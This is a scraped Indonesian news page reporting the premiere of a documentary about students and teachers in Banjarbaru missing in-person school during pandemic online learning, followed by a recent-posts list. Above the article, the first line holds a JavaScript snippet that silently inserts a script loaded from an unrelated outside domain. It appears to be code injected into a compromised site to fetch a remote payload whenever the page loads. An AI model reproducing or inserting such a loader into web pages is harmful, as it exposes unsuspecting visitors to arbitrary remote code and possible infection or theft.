(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

PREMIERE. Ini tentang Rindu, Persahabatan, dan Kangen Mereka yang ‘Terpisah’ dari Sekolah!


KANALKALIMANTAN.COM, BANJARBARU – Film ‘Tuntutlah Ilmu sampai Habis Kuota’ (TISHK) garapan perdana Kanal Picture resmi tayang, Rabu (26/8/2020). Film dokumenter tentang pendidikan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) ini, menjadi potret kecil tentang wajah pendidikan saat pandemi Covid-19.

TISHK mengulas salah satu sudut pandang dalam pelaksanaan sekolah mandiri di rumah yang di jalankan para siswa di berbagai daerah. Tentang sisi psikologis, yang mesti juga mendapat perhatian terkait jarak emosional yang menjadi renggang. Kerinduan akan hadirnya teman belajar, curhat, hingga sosok guru yang kini digantikan oleh HP sebagai imbas pembelajaran daring.

Penuturan sejumlah tokoh dalam film seperti Sukartini, Intan Mustika Rani, Madina Safira, M Aminullah dan Ardan Mulia Gani Silitonga, menggambarkan adanya satu serpihan yang hilang, dalam hidup mereka hari ini. Derita psikologis ini, sejatinya menggenapi berbagai persoalan lain dari model pembelajaran daring saat ini.

Intan misalnya, mengatakan, awalnya merasa baik-baik saja belajar di rumah. Tapi seiring waktu, ada hal yang ia rasakan hilang dan rindu untuk disentuh kembali. Apa itu, tak lain kebersamaan bersama teman-temannya.

“Awalnya belajar online seru-seru aja. Enak ya belajar di rumah, belajarnya sambil duduk. Sambil makan sambil minum, tapi lama-lama akhirnya juga merasa ee…. ada perbedaannya. Ada kekurangannya, ya itu tadi gak ada teman, meskipun ada saudara. Kangen acara sekolah,guru-guru juga,” ungkapnya.

Ardan Mulia Gani Silitonga, siswa kelas 6 SD di Landasan Ulin, juga merasakan hal sama. Ia mengaku kangen dengan ibu gurunya.  Pun demikian, hal sama juga dirasakan oleh sang guru. Sukartini, guru di SMAN 4 Banjarbaru yang menjadi salah satu tokoh dalam film pendek ini mengungkapkan kerindungan pada suasana mengajar di kelas dan murid-muridnya.

Sisi humanisme diulas dalam film TISHK ini layak didiskusikan. Bukan hanya bagi para siswa, tapi juga pendidik, akan hambarnya rasa pendidikan yang harus terpisah dari interaksi sosial ini.

Sebelumnya, Amalia Permata Rizky, mantan Jurnalis Dokumenter TvOne mengatakan, fim TISHK mengantarkan pada memori 10 tahun lalu, saat masih menjadi jurnalis program dokumenter.

“Tidak mudah memang membuat karya yang sarat akan pesan namun tersaji ringan dan nyaman disaksikan. Tuntutlah Ilmu Sampai Habis Kouta ini saya nilai sebagai suatu pesan kritis yang dibalut dengan testimoni para pelaku dan pegiat di bidang pendidikan,” ungkapnya.

Amalia mengatakan, pandemi ini mengubah segalanya! Dari sudut pandang pembuat skenario, disajikan sang pendidik yang harus tetap bekerja, namun tidak dapat melakukan pertemuan langsung dengan siswa. Pun para siswa, di awal pandemi sangat bahagia karena kesan lebih santai dengan belajar di rumah.

Bagi Amalia, film TISHK tentunya menjadi asupan positif bagi pemerintah, utamanya Mas Menteri Pendidikan Nadiem Makarim, yang menjadi jenderal sistem pendidikan di Indonesia. “Salut untuk seluruh penggagas karya ini,” tegasnya.

Hal sama disampaikan Board Broadcasting Governor (BBG) Voice of America (VOA) Dewi Arum yang mengatakan secara keseluruhan film ‘Tuntulah Ilmu sampai Habis Kuota’ sudah cukup bagus. “Meskipun secara teknis banyak hal harus dibenahi seperti noise masih cukup kedengeran. Begitu juga teks di bagian akhir film yang beberapa masihterlalu cepat fade out nya, jadi belum selesai dibaca udah ngilang,” katanya.

Sementara Wakil Wali Kota Banjarbaru Darmawan Jaya Setiawan juga mengapresiasi film TISHK ini sebagai wujud kreativitas para jurnalis di Kanalkalimantan.com. “Saya sudah menontonnya dan sangat bagus, menyentuh!” katanya.

Sutradara TISHK Andy Arfian mengatakan, film ini bagian dari sudut pandang baru jurnalistik yang mengupas persoalan secara sinematografik. Melalui karya dokumenter, harapannya akan lebih banyak sisi-sisi dari kemanusiaan dan problem sosial di Kalimantan, bisa didekati lebih intens.

“Saya kira ini menjadi salah satu wujud pendekatan jurnalistik yang lebih utuh saat ini. Karena sebagai media, kami memiliki komitmen untuk membuat film sebagai bagian dari tantangan jurnalisme saat ini,” katanya. (Kanalkalimantan.com/cel)

 


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

4 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

5 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

5 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

5 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

6 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

9 jam ago

This website uses cookies.